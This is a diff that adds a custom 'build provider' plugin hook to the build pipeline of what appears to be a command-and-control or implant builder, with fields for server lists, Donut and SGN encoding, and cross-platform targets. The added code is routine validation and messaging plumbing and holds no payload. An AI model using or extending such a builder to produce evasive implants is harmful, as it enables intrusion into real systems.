@@ -335,6 +399,27 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
else pending.reject(new Error(msg.error));
|
||||
return;
|
||||
}
|
||||
if (msg.type === "build_provider_output") {
|
||||
const pending = inst.pendingBuildProviders.get(msg.id);
|
||||
if (!pending) return;
|
||||
pending.onOutput({
|
||||
event: msg.event,
|
||||
text: msg.text,
|
||||
level: msg.level,
|
||||
...(msg.progress !== undefined && { progress: msg.progress }),
|
||||
...(msg.etaSeconds !== undefined && { etaSeconds: msg.etaSeconds }),
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (msg.type === "build_provider_reply") {
|
||||
const pending = inst.pendingBuildProviders.get(msg.id);
|
||||
if (!pending) return;
|
||||
clearTimeout(pending.timer);
|
||||
inst.pendingBuildProviders.delete(msg.id);
|
||||
if (msg.ok) pending.resolve(msg.result);
|
||||
else pending.reject(new Error(msg.error));
|
||||
return;
|
||||
}
|
||||
if (msg.type === "broadcast") {
|
||||
const safeChannel = String(msg.channel || "message").replace(/[\r\n]/g, "");
|
||||
const dataLine = JSON.stringify(msg.data ?? null);
|
||||
@@ -370,6 +455,7 @@ export function createPluginRuntime(opts: PluginRuntimeOptions): PluginRuntime {
|
||||
rpc,
|
||||
runBuildHook,
|
||||
runBuildHookForAll,
|
||||
runBuildProvider,
|
||||
subscribe,
|
||||
isRunning,
|
||||
hasServerCode,
|
||||
|
||||
@@ -31,16 +31,32 @@ export type WorkerInbound =
|
||||
hook: string;
|
||||
payload: unknown;
|
||||
}
|
||||
| {
|
||||
type: "build_provider";
|
||||
id: string;
|
||||
payload: unknown;
|
||||
}
|
||||
| {
|
||||
type: "shutdown";
|
||||
};
|
||||
|
||||
export type WorkerOutbound =
|
||||
| { type: "ready" }
|
||||
| { type: "ready"; capabilities?: string[] }
|
||||
| { type: "boot_error"; error: string }
|
||||
| { type: "rpc_reply"; id: string; ok: true; result: unknown }
|
||||
| { type: "rpc_reply"; id: string; ok: false; error: string }
|
||||
| { type: "build_hook_reply"; id: string; ok: true; result: unknown }
|
||||
| { type: "build_hook_reply"; id: string; ok: false; error: string }
|
||||
| { type: "build_provider_reply"; id: string; ok: true; result: unknown }
|
||||
| { type: "build_provider_reply"; id: string; ok: false; error: string }
|
||||
| {
|
||||
type: "build_provider_output";
|
||||
id: string;
|
||||
event: "output" | "status";
|
||||
text: string;
|
||||
level?: "debug" | "info" | "warn" | "error" | "success";
|
||||
progress?: number;
|
||||
etaSeconds?: number;
|
||||
}
|
||||
| { type: "broadcast"; channel: string; data: unknown }
|
||||
| { type: "log"; level: "debug" | "info" | "warn" | "error"; message: string };
|
||||
|
||||
@@ -33,6 +33,7 @@ type PluginExports = {
|
||||
onBuildArtifact?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildComplete?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuildFailed?: (ctx: PluginContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
onBuild?: (ctx: PluginBuildProviderContext, payload: unknown) => unknown | Promise<unknown>;
|
||||
teardown?: (ctx: PluginContext) => unknown | Promise<unknown>;
|
||||
};
|
||||
|
||||
@@ -50,6 +51,13 @@ type PluginContext = {
|
||||
broadcast: (channel: string, data: unknown) => void;
|
||||
};
|
||||
|
||||
type PluginBuildProviderContext = PluginContext & {
|
||||
build: {
|
||||
output: (text: string, level?: "debug" | "info" | "warn" | "error" | "success") => void;
|
||||
status: (text: string, progress?: number, etaSeconds?: number) => void;
|
||||
};
|
||||
};
|
||||
|
||||
let plugin: PluginExports | null = null;
|
||||
let db: Database | null = null;
|
||||
let ctx: PluginContext | null = null;
|
||||
@@ -99,7 +107,7 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
||||
await plugin.setup(ctx);
|
||||
}
|
||||
|
||||
send({ type: "ready" });
|
||||
send({ type: "ready", capabilities: ["build_provider"] });
|
||||
} catch (err) {
|
||||
const error = err instanceof Error ? `${err.message}\n${err.stack || ""}` : String(err);
|
||||
send({ type: "boot_error", error });
|
||||
@@ -184,6 +192,47 @@ self.onmessage = async (e: MessageEvent<WorkerInbound>) => {
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg.type === "build_provider") {
|
||||
if (!plugin || !ctx) {
|
||||
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin not initialised" });
|
||||
return;
|
||||
}
|
||||
if (typeof plugin.onBuild !== "function") {
|
||||
send({ type: "build_provider_reply", id: msg.id, ok: false, error: "Plugin does not export onBuild" });
|
||||
return;
|
||||
}
|
||||
const buildCtx: PluginBuildProviderContext = {
|
||||
...ctx,
|
||||
build: {
|
||||
output: (text, level = "info") => send({
|
||||
type: "build_provider_output",
|
||||
id: msg.id,
|
||||
event: "output",
|
||||
text: String(text),
|
||||
level,
|
||||
}),
|
||||
status: (text, progress, etaSeconds) => send({
|
||||
type: "build_provider_output",
|
||||
id: msg.id,
|
||||
event: "status",
|
||||
text: String(text),
|
||||
progress,
|
||||
etaSeconds,
|
||||
}),
|
||||
},
|
||||
};
|
||||
try {
|
||||
const result = await plugin.onBuild(buildCtx, msg.payload);
|
||||
send({ type: "build_provider_reply", id: msg.id, ok: true, result: result ?? null });
|
||||
} catch (err) {
|
||||
const error = err instanceof Error ? err.message : String(err);
|
||||
const stack = err instanceof Error ? err.stack || "" : "";
|
||||
console.error(`[plugin-worker] build provider error: ${error}`, stack);
|
||||
send({ type: "build_provider_reply", id: msg.id, ok: false, error });
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (msg.type === "shutdown") {
|
||||
if (plugin && ctx && typeof plugin.teardown === "function") {
|
||||
try {
|
||||
|
||||
@@ -175,6 +175,35 @@ describe("loadPluginBundle", () => {
|
||||
expect(manifest.dashboard.clientBadges[0].imageUrl).toBe("/plugins/demo/assets/icon.png");
|
||||
});
|
||||
|
||||
test("preserves a sanitized custom build provider declaration", async () => {
|
||||
const root = await createTempRoot();
|
||||
const AdmZip = require("adm-zip");
|
||||
const zip = new AdmZip();
|
||||
zip.addFile("config.json", Buffer.from(JSON.stringify({
|
||||
name: "Rust Builder",
|
||||
runtime: "server",
|
||||
build: {
|
||||
provider: {
|
||||
label: "Rust Lite",
|
||||
icon: "fa-brands fa-rust",
|
||||
platforms: ["windows-amd64", "linux-arm64", "../../invalid"],
|
||||
},
|
||||
},
|
||||
})));
|
||||
zip.addFile("rust-builder.html", Buffer.from("<main></main>"));
|
||||
zip.addFile("rust-builder.css", Buffer.from("main { display: block; }"));
|
||||
zip.addFile("rust-builder.js", Buffer.from("document.body.dataset.builder = 'rust';"));
|
||||
zip.addFile("server.js", Buffer.from("export default { onBuild() { return { artifacts: [] }; } };"));
|
||||
zip.writeZip(join(root, "rust-builder.zip"));
|
||||
|
||||
await ensurePluginExtracted(root, "rust-builder", (name) => name);
|
||||
const manifest = JSON.parse(await readFile(join(root, "rust-builder", "manifest.json"), "utf-8"));
|
||||
|
||||
expect(manifest.build.provider.label).toBe("Rust Lite");
|
||||
expect(manifest.build.provider.platforms).toEqual(["windows-amd64", "linux-arm64"]);
|
||||
expect(manifest.hasServer).toBe(true);
|
||||
});
|
||||
|
||||
test("computes stable need hashes and invalidates changed approvals", () => {
|
||||
const state: PluginState = {
|
||||
enabled: {},
|
||||
|
||||
@@ -682,6 +682,24 @@ function normalizePluginBuildIntegration(raw: any): any | undefined {
|
||||
if (typeof raw.label === "string" && raw.label.trim()) build.label = raw.label.trim().slice(0, 80);
|
||||
if (typeof raw.description === "string" && raw.description.trim()) build.description = raw.description.trim().slice(0, 300);
|
||||
|
||||
if (raw.provider && typeof raw.provider === "object" && !Array.isArray(raw.provider)) {
|
||||
const platforms = Array.isArray(raw.provider.platforms)
|
||||
? Array.from(new Set<string>(raw.provider.platforms
|
||||
.filter((value: unknown): value is string => typeof value === "string")
|
||||
.map((value: string) => value.trim().toLowerCase())
|
||||
.filter((value: string) => /^(windows|linux|darwin|freebsd|android|ios)-(amd64|arm64|386|armv7)$/.test(value))))
|
||||
.slice(0, 32)
|
||||
: [];
|
||||
if (platforms.length > 0) {
|
||||
build.provider = {
|
||||
platforms,
|
||||
...(typeof raw.provider.label === "string" && raw.provider.label.trim() && { label: raw.provider.label.trim().slice(0, 80) }),
|
||||
...(typeof raw.provider.description === "string" && raw.provider.description.trim() && { description: raw.provider.description.trim().slice(0, 300) }),
|
||||
...(typeof raw.provider.icon === "string" && raw.provider.icon.trim() && { icon: raw.provider.icon.trim().slice(0, 80) }),
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
const settings: any[] = [];
|
||||
if (Array.isArray(raw.settings)) {
|
||||
for (const item of raw.settings.slice(0, 20)) {
|
||||
|
||||
@@ -95,12 +95,21 @@ async function sanitizeBuildPlugins(
|
||||
deps: BuildRouteDeps,
|
||||
user: any,
|
||||
buildConfig: any,
|
||||
requiredProviderId?: string,
|
||||
): Promise<{ value: Record<string, any>; error?: string }> {
|
||||
if (!raw || typeof raw !== "object" || !deps.listPluginManifests) return { value: {} };
|
||||
if (!deps.listPluginManifests) return { value: {} };
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const byId = new Map(manifests.map((m) => [m.id, m]));
|
||||
const value: Record<string, any> = {};
|
||||
for (const [pluginId, rawPlugin] of Object.entries(raw)) {
|
||||
const requested = raw && typeof raw === "object" && !Array.isArray(raw) ? { ...raw } : {};
|
||||
if (requiredProviderId) {
|
||||
const providerRecord = requested[requiredProviderId];
|
||||
requested[requiredProviderId] = {
|
||||
...(providerRecord && typeof providerRecord === "object" ? providerRecord : {}),
|
||||
enabled: true,
|
||||
};
|
||||
}
|
||||
for (const [pluginId, rawPlugin] of Object.entries(requested)) {
|
||||
if (!/^[A-Za-z0-9._-]{1,128}$/.test(pluginId)) continue;
|
||||
const manifest = byId.get(pluginId);
|
||||
if (!manifest?.build || !canUserAccessPlugin(user.userId, user.role, pluginId)) continue;
|
||||
@@ -183,6 +192,7 @@ export async function handleBuildRoutes(
|
||||
const body = await req.json();
|
||||
const {
|
||||
platforms,
|
||||
buildProvider,
|
||||
serverUrl,
|
||||
rawServerList,
|
||||
solMemo,
|
||||
@@ -263,6 +273,37 @@ export async function handleBuildRoutes(
|
||||
return Response.json({ error: "No valid platforms specified" }, { status: 400 });
|
||||
}
|
||||
|
||||
let safeBuildProvider: string | undefined;
|
||||
if (buildProvider !== undefined && buildProvider !== null && String(buildProvider).trim()) {
|
||||
const providerId = String(buildProvider).trim();
|
||||
if (!/^[A-Za-z0-9._-]{1,128}$/.test(providerId) || !deps.listPluginManifests) {
|
||||
return Response.json({ error: "Invalid build provider" }, { status: 400 });
|
||||
}
|
||||
const manifests = await deps.listPluginManifests();
|
||||
const manifest = manifests.find((item) => item?.id === providerId);
|
||||
if (
|
||||
!manifest?.build?.provider ||
|
||||
manifest?.hasServer !== true ||
|
||||
manifest?.enabled === false ||
|
||||
!canUserAccessPlugin(user.userId, user.role, providerId)
|
||||
) {
|
||||
return Response.json({ error: "Build provider is unavailable" }, { status: 403 });
|
||||
}
|
||||
const providerPlatforms = new Set(
|
||||
Array.isArray(manifest.build.provider.platforms)
|
||||
? manifest.build.provider.platforms
|
||||
: [],
|
||||
);
|
||||
const unsupported = allowedPlatforms.filter((platform) => !providerPlatforms.has(platform));
|
||||
if (unsupported.length > 0) {
|
||||
return Response.json(
|
||||
{ error: `Build provider ${manifest.name || providerId} does not support: ${unsupported.join(", ")}` },
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
safeBuildProvider = providerId;
|
||||
}
|
||||
|
||||
const safeRawServerList = !!rawServerList;
|
||||
const safeSolMemo = !!solMemo;
|
||||
const safeServerUrl =
|
||||
@@ -383,7 +424,7 @@ export async function handleBuildRoutes(
|
||||
username: user.username,
|
||||
ip,
|
||||
action: AuditAction.COMMAND,
|
||||
details: `Started build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
|
||||
details: `Started ${safeBuildProvider ? `${safeBuildProvider} provider ` : ""}build ${buildId} for platforms: ${allowedPlatforms.join(", ")}`,
|
||||
success: true,
|
||||
});
|
||||
|
||||
@@ -438,7 +479,7 @@ export async function handleBuildRoutes(
|
||||
{ status: 400 },
|
||||
);
|
||||
}
|
||||
const needsMacosSdk = hasDarwinTarget && !disableCgo && process.platform === "linux";
|
||||
const needsMacosSdk = !safeBuildProvider && hasDarwinTarget && !disableCgo && process.platform === "linux";
|
||||
if (safeOutputSgnTxt) {
|
||||
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
|
||||
(!!useDonut && p.startsWith("windows-")) ||
|
||||
@@ -515,6 +556,7 @@ export async function handleBuildRoutes(
|
||||
|
||||
const safeBuildConfig: any = {
|
||||
platforms: allowedPlatforms,
|
||||
buildProvider: safeBuildProvider,
|
||||
serverUrl: safeServerUrl,
|
||||
rawServerList: safeRawServerList,
|
||||
solMemo: safeSolMemo,
|
||||
@@ -572,7 +614,13 @@ export async function handleBuildRoutes(
|
||||
uploadToFileShare: safeUploadToFileShare,
|
||||
};
|
||||
|
||||
const pluginBuildResult = await sanitizeBuildPlugins(buildPlugins, deps, user, safeBuildConfig);
|
||||
const pluginBuildResult = await sanitizeBuildPlugins(
|
||||
buildPlugins,
|
||||
deps,
|
||||
user,
|
||||
safeBuildConfig,
|
||||
safeBuildProvider,
|
||||
);
|
||||
if (pluginBuildResult.error) {
|
||||
if (rateLimitActive) recordBuildEnd(user.userId);
|
||||
return Response.json({ error: pluginBuildResult.error }, { status: 400 });
|
||||
|
||||
Reference in New Issue
Block a user